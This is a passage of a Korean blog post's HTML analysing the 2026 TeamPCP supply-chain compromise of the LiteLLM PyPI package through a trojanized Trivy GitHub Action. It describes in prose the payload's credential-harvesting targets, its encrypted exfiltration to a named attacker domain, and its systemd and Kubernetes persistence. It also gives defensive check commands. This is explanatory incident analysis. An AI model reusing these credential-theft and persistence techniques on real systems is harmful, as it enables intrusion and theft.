&lt;p style=&quot;font-size: 13px; color: #888; margin-bottom: 15px;&quot; data-ke-size=&quot;size8&quot;&gt;(출처: &lt;a href=&quot;https://www.wiz.io/blog/teampcp-attack-kics-github-action&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;Wiz - KICS Compromise&lt;/a&gt;, &lt;a href=&quot;https://thehackernews.com/2026/03/teampcp-backdoors-litellm-versions.html&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;The Hacker News&lt;/a&gt;)&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;!-- 섹션 3 --&gt;
&lt;h2 style=&quot;font-size: 24px; color: #1a3a52; margin: 35px 0 20px; padding-bottom: 10px; border-bottom: 3px solid #cce5ff; font-weight: bold;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;3. 감염 경로 &amp;mdash; 보안 도구가 감염 벡터가 되다&lt;/b&gt;&lt;/h2&gt;
&lt;figure class=&quot;imageblock alignLeft&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;2026&quot; data-origin-height=&quot;1102&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/VoTLZ/dJMcagrpmld/eFqkIJURinhUIANJ91UPak/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/VoTLZ/dJMcagrpmld/eFqkIJURinhUIANJ91UPak/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/VoTLZ/dJMcagrpmld/eFqkIJURinhUIANJ91UPak/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FVoTLZ%2FdJMcagrpmld%2FeFqkIJURinhUIANJ91UPak%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;2026&quot; height=&quot;1102&quot; data-origin-width=&quot;2026&quot; data-origin-height=&quot;1102&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;

&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;LiteLLM의 CI/CD 파이프라인에는 Trivy가 보안 취약점 스캔 도구로 등록되어 있었다. 정상적이라면 코드 푸시 때마다 Trivy가 취약점을 검사하고, 문제가 없으면 빌드를 통과시키고, PyPI에 배포하는 흐름이다.&lt;/p&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;문제는 3월 19일부터 Trivy 자체가 감염된 상태였다는 것이다.&lt;/p&gt;
&lt;div style=&quot;background-color: #1e1e1e; color: #d4d4d4; padding: 20px; border-radius: 8px; margin: 15px 0 25px 0; font-family: 'Fira Code', 'Consolas', monospace; font-size: 14px; line-height: 1.6; overflow-x: auto;&quot; data-ke-language=&quot;markdown&quot;&gt;&lt;span style=&quot;color: #6a9955;&quot;&gt;## 공격 흐름 (재구성)&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style=&quot;color: #ce9178;&quot;&gt;1. TeamPCP가 Trivy GitHub Action의 태그 76/77개를 악성 커밋으로 교체&lt;/span&gt;&lt;br /&gt;&lt;span style=&quot;color: #ce9178;&quot;&gt;2. 감염된 Trivy가 CI/CD에서 실행될 때 환경변수(PyPI 토큰 포함)를 수집&lt;/span&gt;&lt;br /&gt;&lt;span style=&quot;color: #ce9178;&quot;&gt;3. LiteLLM의 CI/CD에서 감염된 Trivy가 실행됨&lt;/span&gt;&lt;br /&gt;&lt;span style=&quot;color: #ce9178;&quot;&gt;4. LiteLLM의 PyPI API 토큰이 TeamPCP에 전달됨&lt;/span&gt;&lt;br /&gt;&lt;span style=&quot;color: #ce9178;&quot;&gt;5. TeamPCP가 탈취한 토큰으로 PyPI에 악성 버전을 직접 업로드&lt;/span&gt;&lt;br /&gt;&lt;span style=&quot;color: #ce9178;&quot;&gt;6. GitHub 릴리스 없이 PyPI에만 1.82.7, 1.82.8 배포&lt;/span&gt;&lt;/div&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;PyPI advisory에서도 &lt;b&gt;Trivy 사건에서 노출된 API 토큰이 근본 원인&lt;/b&gt;이라고 확인했다. LiteLLM 관리자가 직접 공격당한 것이 아니라, LiteLLM이 의존하고 있던 보안 도구(Trivy)가 먼저 감염되어 인증 정보가 유출된 것이다.&lt;/p&gt;
&lt;p style=&quot;font-size: 13px; color: #888; margin-bottom: 15px;&quot; data-ke-size=&quot;size8&quot;&gt;(출처: &lt;a href=&quot;https://www.wiz.io/blog/threes-a-crowd-teampcp-trojanizes-litellm-in-continuation-of-campaign&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;Wiz Research&lt;/a&gt; &amp;mdash; &quot;An PyPI advisory has been posted, identifying an API token exposed via the prior Trivy incident as the root cause&quot;)&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;!-- 섹션 4 --&gt;
&lt;h2 style=&quot;font-size: 24px; color: #1a3a52; margin: 35px 0 20px; padding-bottom: 10px; border-bottom: 3px solid #cce5ff; font-weight: bold;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;4. 악성코드 기술 분석 &amp;mdash; 3단계 공격 구조&lt;/b&gt;&lt;/h2&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;악성 &lt;code&gt;litellm_init.pth&lt;/code&gt; 파일이 Python 인터프리터 시작 시 자동으로 실행하는 페이로드는 3단계로 구성된다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;Stage 1: 수집 (Collection)&lt;/h3&gt;
&lt;figure class=&quot;imageblock alignLeft&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;2028&quot; data-origin-height=&quot;1104&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/T3IqT/dJMcabp8dn5/9f4hCgyYOwXwG5kmeQZih1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/T3IqT/dJMcabp8dn5/9f4hCgyYOwXwG5kmeQZih1/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/T3IqT/dJMcabp8dn5/9f4hCgyYOwXwG5kmeQZih1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FT3IqT%2FdJMcabp8dn5%2F9f4hCgyYOwXwG5kmeQZih1%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;2028&quot; height=&quot;1104&quot; data-origin-width=&quot;2028&quot; data-origin-height=&quot;1104&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;

&lt;p style=&quot;margin-bottom: 10px;&quot; data-ke-size=&quot;size16&quot;&gt;호스트 시스템에서 민감한 파일과 정보를 광범위하게 수집한다.&lt;/p&gt;
&lt;table style=&quot;width: 100%; border-collapse: collapse; margin: 15px 0 25px 0; font-size: 15px;&quot; data-ke-align=&quot;alignLeft&quot;&gt;
&lt;thead&gt;
&lt;tr style=&quot;background-color: #e8f4f8;&quot;&gt;
&lt;th style=&quot;padding: 10px; text-align: left; border: 1px solid #b3d9ff; font-weight: 600;&quot;&gt;수집 대상&lt;/th&gt;
&lt;th style=&quot;padding: 10px; text-align: left; border: 1px solid #b3d9ff; font-weight: 600;&quot;&gt;구체적 파일/경로&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 8px; border: 1px solid #b3d9ff;&quot;&gt;SSH 키&lt;/td&gt;
&lt;td style=&quot;padding: 8px; border: 1px solid #b3d9ff;&quot;&gt;~/.ssh/ (개인키, 설정 파일)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 8px; border: 1px solid #b3d9ff;&quot;&gt;클라우드 인증 정보&lt;/td&gt;
&lt;td style=&quot;padding: 8px; border: 1px solid #b3d9ff;&quot;&gt;AWS credentials, GCP ADC, Azure 토큰&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 8px; border: 1px solid #b3d9ff;&quot;&gt;쿠버네티스 설정&lt;/td&gt;
&lt;td style=&quot;padding: 8px; border: 1px solid #b3d9ff;&quot;&gt;~/.kube/config, 서비스 어카운트 토큰&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 8px; border: 1px solid #b3d9ff;&quot;&gt;환경 변수 파일&lt;/td&gt;
&lt;td style=&quot;padding: 8px; border: 1px solid #b3d9ff;&quot;&gt;.env 파일 (API 키, DB 비밀번호 포함)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 8px; border: 1px solid #b3d9ff;&quot;&gt;암호화폐 지갑&lt;/td&gt;
&lt;td style=&quot;padding: 8px; border: 1px solid #b3d9ff;&quot;&gt;일반적인 지갑 파일 패턴 매칭&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 8px; border: 1px solid #b3d9ff;&quot;&gt;Git 설정&lt;/td&gt;
&lt;td style=&quot;padding: 8px; border: 1px solid #b3d9ff;&quot;&gt;.gitconfig (토큰, 인증 정보)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 8px; border: 1px solid #b3d9ff;&quot;&gt;쉘 히스토리&lt;/td&gt;
&lt;td style=&quot;padding: 8px; border: 1px solid #b3d9ff;&quot;&gt;.bash_history, .zsh_history&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 8px; border: 1px solid #b3d9ff;&quot;&gt;데이터베이스 비밀번호&lt;/td&gt;
&lt;td style=&quot;padding: 8px; border: 1px solid #b3d9ff;&quot;&gt;설정 파일 내 비밀번호 패턴&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 8px; border: 1px solid #b3d9ff;&quot;&gt;Slack / Discord 토큰&lt;/td&gt;
&lt;td style=&quot;padding: 8px; border: 1px solid #b3d9ff;&quot;&gt;채팅 서비스 인증 토큰 (OX Security 분석)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 8px; border: 1px solid #b3d9ff;&quot;&gt;클라우드 메타데이터&lt;/td&gt;
&lt;td style=&quot;padding: 8px; border: 1px solid #b3d9ff;&quot;&gt;IMDS 엔드포인트, 컨테이너 자격증명 조회&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;환경변수 덤프와 클라우드 메타데이터 엔드포인트(IMDS, 컨테이너 자격증명) 쿼리까지 수행한다. 즉 &lt;b&gt;파일 시스템과 런타임 환경 양쪽에서&lt;/b&gt; 인증 정보를 수집한다.&lt;/p&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;figure class=&quot;imageblock alignLeft&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;2018&quot; data-origin-height=&quot;1106&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/cwe73C/dJMcadaksec/taaWX4gQWBxeBw6W30VVM0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/cwe73C/dJMcadaksec/taaWX4gQWBxeBw6W30VVM0/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/cwe73C/dJMcadaksec/taaWX4gQWBxeBw6W30VVM0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fcwe73C%2FdJMcadaksec%2FtaaWX4gQWBxeBw6W30VVM0%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;2018&quot; height=&quot;1106&quot; data-origin-width=&quot;2018&quot; data-origin-height=&quot;1106&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;

&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;Stage 2: 유출 (Exfiltration)&lt;/h3&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;수집된 데이터를 외부로 전송한다.&lt;/p&gt;
&lt;ul style=&quot;margin: 10px 0 15px 0; padding-left: 20px; line-height: 1.8;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;수집 데이터를 &lt;b&gt;AES-256-CBC&lt;/b&gt;로 암호화 (랜덤 세션 키 사용)&lt;/li&gt;
&lt;li&gt;세션 키를 하드코딩된 &lt;b&gt;4096-bit RSA 공개키&lt;/b&gt;로 암호화&lt;/li&gt;
&lt;li&gt;전체를 tar 아카이브로 묶어 &lt;code&gt;https://models.litellm.cloud/&lt;/code&gt;로 POST 전송&lt;/li&gt;
&lt;/ul&gt;
&lt;div style=&quot;background-color: #f8d7da; border-left: 4px solid #dc3545; padding: 15px; margin: 20px 0; border-radius: 0 8px 8px 0;&quot;&gt;&lt;b&gt;models.litellm.cloud는 LiteLLM 공식 인프라가 아니다&lt;/b&gt;&lt;br /&gt;
&lt;p style=&quot;margin-top: 10px;&quot; data-ke-size=&quot;size16&quot;&gt;도메인 이름이 litellm.cloud를 포함하고 있어 공식 서버처럼 보이지만, LiteLLM의 정상적인 인프라와 무관한 &lt;b&gt;공격자가 등록한 도메인&lt;/b&gt;이다. 방화벽 규칙에서 이 도메인으로의 아웃바운드 트래픽을 즉시 차단해야 한다.&lt;/p&gt;
&lt;/div&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;Stage 3: 지속성 확보 (Persistence)&lt;/h3&gt;
&lt;p style=&quot;margin-bottom: 10px;&quot; data-ke-size=&quot;size16&quot;&gt;환경에 따라 두 가지 경로로 영구 백도어를 설치한다.&lt;/p&gt;
&lt;p style=&quot;margin-bottom: 5px;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;쿠버네티스 환경:&lt;/b&gt;&lt;/p&gt;
&lt;ul style=&quot;margin: 5px 0 15px 0; padding-left: 20px; line-height: 1.8;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;서비스 어카운트 토큰이 있으면 &lt;b&gt;모든 네임스페이스의 시크릿&lt;/b&gt;을 읽는다&lt;/li&gt;
&lt;li&gt;&lt;code&gt;kube-system&lt;/code&gt;의 &lt;b&gt;모든 노드에 특권(privileged) alpine:latest 컨테이너&lt;/b&gt;를 생성한다&lt;/li&gt;
&lt;li&gt;각 컨테이너가 호스트 파일시스템을 마운트하고 백도어를 설치한다&lt;/li&gt;
&lt;/ul&gt;
&lt;p style=&quot;margin-bottom: 5px;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;로컬 머신:&lt;/b&gt;&lt;/p&gt;
&lt;ul style=&quot;margin: 5px 0 15px 0; padding-left: 20px; line-height: 1.8;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;&lt;code&gt;/root/.config/sysmon/sysmon.py&lt;/code&gt; 또는 &lt;code&gt;~/.config/sysmon/sysmon.py&lt;/code&gt;에 백도어 설치&lt;/li&gt;
&lt;li&gt;&lt;b&gt;systemd user service&lt;/b&gt;로 등록하여 재부팅 후에도 자동 실행&lt;/li&gt;
&lt;li&gt;백도어는 &lt;code&gt;checkmarx[.]zone/raw&lt;/code&gt;를 &lt;b&gt;50분 간격으로 폴링&lt;/b&gt;하여 추가 바이너리를 다운로드한다 &amp;mdash; 공격자가 나중에 추가 페이로드를 배포할 수 있다&lt;/li&gt;
&lt;/ul&gt;
&lt;div style=&quot;background-color: #1e1e1e; color: #d4d4d4; padding: 20px; border-radius: 8px; margin: 15px 0 25px 0; font-family: 'Fira Code', 'Consolas', monospace; font-size: 14px; line-height: 1.6; overflow-x: auto;&quot; data-ke-language=&quot;bash&quot;&gt;&lt;span style=&quot;color: #6a9955;&quot;&gt;# 백도어 설치 경로 확인 명령어&lt;/span&gt;&lt;br /&gt;ls -la ~/.config/sysmon/sysmon.py&lt;br /&gt;ls -la ~/.config/systemd/user/sysmon.service&lt;br /&gt;&lt;br /&gt;&lt;span style=&quot;color: #6a9955;&quot;&gt;# 쿠버네티스 환경에서 의심스러운 Pod 확인&lt;/span&gt;&lt;br /&gt;kubectl get pods -n kube-system | grep node-setup&lt;/div&gt;
&lt;p style=&quot;font-size: 13px; color: #888; margin-bottom: 15px;&quot; data-ke-size=&quot;size8&quot;&gt;(출처: &lt;a href=&quot;https://futuresearch.ai/blog/litellm-pypi-supply-chain-attack/&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;FutureSearch, 2026-03-24&lt;/a&gt; &amp;mdash; 3단계 페이로드 기술 분석)&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;!-- 섹션 5 --&gt;
&lt;h2 style=&quot;font-size: 24px; color: #1a3a52; margin: 35px 0 20px; padding-bottom: 10px; border-bottom: 3px solid #cce5ff; font-weight: bold;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;5. 발견 경위 &amp;mdash; 악성코드의 버그가 구한 세상&lt;/b&gt;&lt;/h2&gt;
&lt;figure class=&quot;imageblock alignLeft&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;2044&quot; data-origin-height=&quot;1116&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/cEMZeR/dJMcaaLvwIH/WGZfzp8YFT8yZdoukT8QJk/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/cEMZeR/dJMcaaLvwIH/WGZfzp8YFT8yZdoukT8QJk/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/cEMZeR/dJMcaaLvwIH/WGZfzp8YFT8yZdoukT8QJk/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FcEMZeR%2FdJMcaaLvwIH%2FWGZfzp8YFT8yZdoukT8QJk%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;2044&quot; height=&quot;1116&quot; data-origin-width=&quot;2044&quot; data-origin-height=&quot;1116&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;

&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;이 사건의 발견 경위가 흥미롭다. FutureSearch 팀이 Cursor 에디터에서 MCP 플러그인을 사용하던 중, LiteLLM이 &lt;b&gt;간접 의존성(transitive dependency)으로 자동 설치&lt;/b&gt;되었다. 직접 설치한 것이 아니다.&lt;/p&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;그런데 갑자기 시스템 메모리(RAM)가 전부 소진되면서 머신이 멈췄다.&lt;/p&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;원인은 악성코드의 &lt;b&gt;버그&lt;/b&gt;였다. &lt;code&gt;.pth&lt;/code&gt; 파일은 Python 인터프리터 시작 시마다 실행되는데, 이 악성 &lt;code&gt;.pth&lt;/code&gt;가 &lt;code&gt;subprocess.Popen&lt;/code&gt;으로 자식 Python 프로세스를 생성한다. 자식 프로세스가 시작되면 다시 &lt;code&gt;.pth&lt;/code&gt;가 실행되고, 또 자식 프로세스를 생성하고... &lt;b&gt;지수적으로 프로세스가 복제되는 포크 폭탄(fork bomb)&lt;/b&gt;이 발생한 것이다.&lt;/p&gt;
&lt;div style=&quot;background-color: #e8f4f8; border-left: 4px solid #0066cc; padding: 15px; margin: 20px 0; border-radius: 0 8px 8px 0;&quot;&gt;&lt;b&gt;아이러니: 악성코드의 버그가 없었으면 발견이 훨씬 늦었을 것이다&lt;/b&gt;&lt;br /&gt;
&lt;p style=&quot;margin-top: 10px;&quot; data-ke-size=&quot;size16&quot;&gt;의도된 동작대로였다면 악성코드는 조용히 인증 정보를 수집하고, 조용히 전송하고, 조용히 백도어를 설치했을 것이다. 포크 폭탄은 공격자의 실수다. 이 실수가 시스템을 폭주시켰고, FutureSearch 개발자가 원인을 추적하면서 악성코드가 발견되었다. 10:39 UTC에 첫 배포가 시작되었다. LiteLLM 공식 보안 공지에 따르면 영향 시간대는 &lt;b&gt;10:39 UTC ~ 16:00 UTC (약 5시간 20분)&lt;/b&gt;이다. 버그가 없었다면 이 시간은 훨씬 길어졌을 것이다.&lt;/p&gt;
&lt;/div&gt;
&lt;p style=&quot;font-size: 13px; color: #888; margin-bottom: 15px;&quot; data-ke-size=&quot;size8&quot;&gt;(출처: &lt;a href=&quot;https://futuresearch.ai/blog/litellm-pypi-supply-chain-attack/&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;FutureSearch&lt;/a&gt; &amp;mdash; &quot;The fork bomb is actually a bug in the malware&quot;)&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;!-- 섹션 6 --&gt;
&lt;h2 style=&quot;font-size: 24px; color: #1a3a52; margin: 35px 0 20px; padding-bottom: 10px; border-bottom: 3px solid #cce5ff; font-weight: bold;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;6. 영향 범위 &amp;mdash; 내가 위험한가?&lt;/b&gt;&lt;/h2&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;직접 설치하지 않아도 위험하다&lt;/h3&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;LiteLLM은 본인이 직접 &lt;code&gt;pip install litellm&lt;/code&gt;하지 않아도 다른 도구의 의존성으로 자동 설치되는 경우가 많다. 대표적인 경로는 다음과 같다.&lt;/p&gt;
&lt;ul style=&quot;margin: 10px 0 15px 0; padding-left: 20px; line-height: 1.8;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;&lt;b&gt;MCP 플러그인&lt;/b&gt; &amp;mdash; Cursor, Claude Code 등에서 사용하는 MCP 플러그인이 의존성으로 설치&lt;/li&gt;
&lt;li&gt;&lt;b&gt;AI 에이전트 프레임워크&lt;/b&gt; &amp;mdash; LangChain, CrewAI 등 LLM 오케스트레이션 도구&lt;/li&gt;
&lt;li&gt;&lt;b&gt;LLM 게이트웨이/프록시&lt;/b&gt; &amp;mdash; 여러 AI 모델을 관리하는 서버 환경&lt;/li&gt;
&lt;li&gt;&lt;b&gt;바이브 코딩 도구 체인&lt;/b&gt; &amp;mdash; AI 코딩 에이전트가 자동으로 설치하는 패키지&lt;/li&gt;
&lt;/ul&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;영향받지 않는 경로&lt;/h3&gt;
&lt;div style=&quot;background-color: #d4edda; border-left: 4px solid #28a745; padding: 15px; margin: 20px 0; border-radius: 0 8px 8px 0;&quot;&gt;&lt;b&gt;다음 경우에는 이번 사건의 영향을 받지 않는다&lt;/b&gt;
&lt;ul style=&quot;margin: 10px 0 0 0; padding-left: 20px; line-height: 1.8;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;&lt;b&gt;LiteLLM 공식 Proxy Docker 이미지&lt;/b&gt;를 사용한 경우 (PyPI 패키지가 아닌 이미지 기반)&lt;/li&gt;
&lt;li&gt;&lt;b&gt;LiteLLM Cloud&lt;/b&gt; (호스팅 서비스) 사용자&lt;/li&gt;
&lt;li&gt;&lt;b&gt;소스에서 직접 설치&lt;/b&gt;한 경우 (GitHub clone &amp;rarr; pip install -e .)&lt;/li&gt;
&lt;li&gt;litellm &lt;b&gt;1.82.6 이하&lt;/b&gt;를 사용 중이고, 3월 24일 이후 업그레이드하지 않은 경우&lt;/li&gt;
&lt;/ul&gt;
&lt;p style=&quot;font-size: 13px; color: #888; margin-top: 10px;&quot; data-ke-size=&quot;size8&quot;&gt;(출처: &lt;a href=&quot;https://docs.litellm.ai/blog/security-update-march-2026&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;LiteLLM 공식 보안 공지&lt;/a&gt;)&lt;/p&gt;
&lt;/div&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;GitHub 계정 탈취까지&lt;/h3&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;TeamPCP는 LiteLLM 관리자(BerriAI)의 GitHub 계정까지 탈취한 것으로 보인다. GitHub에 &lt;b&gt;&quot;teampcp owns BerriAI&quot;&lt;/b&gt;라는 메시지를 남겼다. 이 사건을 신고한 &lt;a href=&quot;https://github.com/BerriAI/litellm/issues/24512&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;GitHub Issue #24512&lt;/a&gt;를 &lt;b&gt;&quot;not planned&quot;으로 닫아 버렸으며&lt;/b&gt;, 수백 개의 봇 댓글로 토론을 희석시키려 했다.&lt;/p&gt;
&lt;div style=&quot;background-color: #d4edda; border-left: 4px solid #28a745; padding: 15px; margin: 20px 0; border-radius: 0 8px 8px 0;&quot;&gt;&lt;b&gt;BerriAI 대응 현황 (2026-03-26 기준)&lt;/b&gt;
&lt;ul style=&quot;margin: 10px 0 0 0; padding-left: 20px; line-height: 1.8;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;&lt;b&gt;관리자 계정 전체 교체&lt;/b&gt; &amp;mdash; 새 계정(@krrish-berri-2, @ishaan-berri)으로 전환&lt;/li&gt;
&lt;li&gt;&lt;b&gt;PyPI 토큰 폐기&lt;/b&gt; &amp;mdash; 탈취된 PYPI_PUBLISH_PASSWORD 시크릿 무효화&lt;/li&gt;
&lt;li&gt;&lt;b&gt;새 릴리스 중단&lt;/b&gt; &amp;mdash; 공급망 전체 검토 완료 시까지 배포 일시 중지&lt;/li&gt;
&lt;li&gt;&lt;b&gt;Trusted Publishers(OIDC) 마이그레이션&lt;/b&gt; &amp;mdash; 토큰 기반 배포에서 OIDC 기반으로 전환 논의 중 (&lt;a href=&quot;https://github.com/BerriAI/litellm/issues/24542&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;Issue #24542&lt;/a&gt;)&lt;/li&gt;
&lt;/ul&gt;
&lt;p style=&quot;font-size: 13px; color: #888; margin-top: 10px;&quot; data-ke-size=&quot;size8&quot;&gt;(출처: &lt;a href=&quot;https://docs.litellm.ai/blog/security-update-march-2026&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;LiteLLM 공식 보안 공지&lt;/a&gt;, &lt;a href=&quot;https://github.com/BerriAI/litellm/issues/24518&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;Issue #24518&lt;/a&gt;)&lt;/p&gt;
&lt;/div&gt;
&lt;figure class=&quot;imageblock alignRight&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;2010&quot; data-origin-height=&quot;1106&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bUQYvF/dJMcadVIwgn/g3TtJ9ZaOGk8zbbamk9XB1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bUQYvF/dJMcadVIwgn/g3TtJ9ZaOGk8zbbamk9XB1/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bUQYvF/dJMcadVIwgn/g3TtJ9ZaOGk8zbbamk9XB1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbUQYvF%2FdJMcadVIwgn%2Fg3TtJ9ZaOGk8zbbamk9XB1%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; 